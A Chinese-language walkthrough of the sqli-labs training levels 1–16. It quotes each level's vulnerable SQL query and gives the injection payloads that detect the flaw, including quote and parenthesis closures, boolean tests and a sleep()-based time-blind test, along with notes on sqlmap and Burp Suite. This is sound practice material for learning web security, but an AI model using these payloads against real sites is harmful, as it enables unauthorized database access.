less-1 字符型
通过
1‘ and 1=1 --+
1‘ and 1=2 --+ 即可判断出来
less2- 数字型
通过
1 and 1=1
1 and 1=2 即可判断出来
less-3-观察源码
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
只需要闭合小括号即可
payload:
?id=1') and 1=1 --+
?id=1') and 1=2 --+ 得到注入点
less-4
观察源码
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
发现需要闭合双引号和小括号
?id=1") and 1=1 --+
?id=1") and 1=2 --+
less-5
尝试 ?id=1' and 1=1 --+ 发现页面并没有回显数据,
而使用?id=1' and 1=2 --+ 发现页面缺少东西了,所以判断此处存在注入点,但是由于没有数据,所以只能使用盲注
既然判断出注入类型即可使用工具,或者写个脚本进行注入了
我使用的是sqlmap
扫出存在布尔盲注、报错注入、时间盲注漏洞
less-6
观察源码
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
发现其对接收的数据进行加 "" 的处理,所以我们在构造payload的的时候需要对"进行闭合
判断是否存在注入的payload
?id=1" and 1=1 --+ 页面显示正常
?id=1" and 1=2 --+ 页面显示错误
因为没有回显数据,所以还是用工具
less-7
观察源码
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
发现可以i使用”))进行闭合
-p 指定参数进行注入
id=1')) AND 1=1 --+ 页面显示正常
id=1'))AND 1=2 --+ 页面显示异常
但是没有回显数据,接着使用工具
less-8
观察源码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
判断注入点
?id=1' and 1=1--+
?id=1' and 1=2--+
存在盲注
less-9
在这关,无法使用上面的 and 1=1这种方法进行判断了,因为页面无论正常还是有错误都没有进行回显,所以只能使用时间盲注的方式进行判断。
判断注入点的payload为
?id=1' and if(length(database())>0,sleep(5),sleep(1)) --+
上述sql语句的意思是,如果数据库名长度大于0,那么等待5 seconds,如果不大于0则等待1s
这样就可以判断是否存在注入点了
因为盲注比较麻烦所以还是使用sqlmap进行
less-10
查看源码
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
发现后端程序对接收的参数进行加 "" 处理,所以只要闭合这个双引号即可
并且与上一关一样,此处无论对错都没有回显,所以还是选用sleep判断注入点
payload:
?id=1" and if(length(database())>0,sleep(5),sleep(1)) --+
这边手工检测出存在注入点,但是sqlmap默认检测却检测不到,所以需要 --level 参数手动指定扫描级别,我这边level=2就可以扫描出来了
sqlmap命令
跑完发现存在注入
less-11
查看源码
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
发现传参方式POST,所以此时就得使用Burpsuite抓包了
在不看源码的情况下直接抓包也可以判断传参方式
payload:
admin' and 1=1--+页面回显数据
admin' and 1=2--+页面无回显数据
使用sqlmap进行扫描需要加--data ”POST请求的内容“ 进行使用
less-12
查看源码
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
发现只需闭合小括号和双引号即可
所以payload应该是
uname=admin") AND 6149=6149# 页面显示数据
uname=admin") AND 6148=6149# 页面无显示
less-13
与前面的一样都是对接收的参数进行处理,只是传参的方式是POST
可以直接在页面的输入框中测试payload即可判断注入点
less-14 - less16与前面相似,只不过闭合的方式不同而已,闭合方式参考less 3-10 的即可,我们这边直接跳过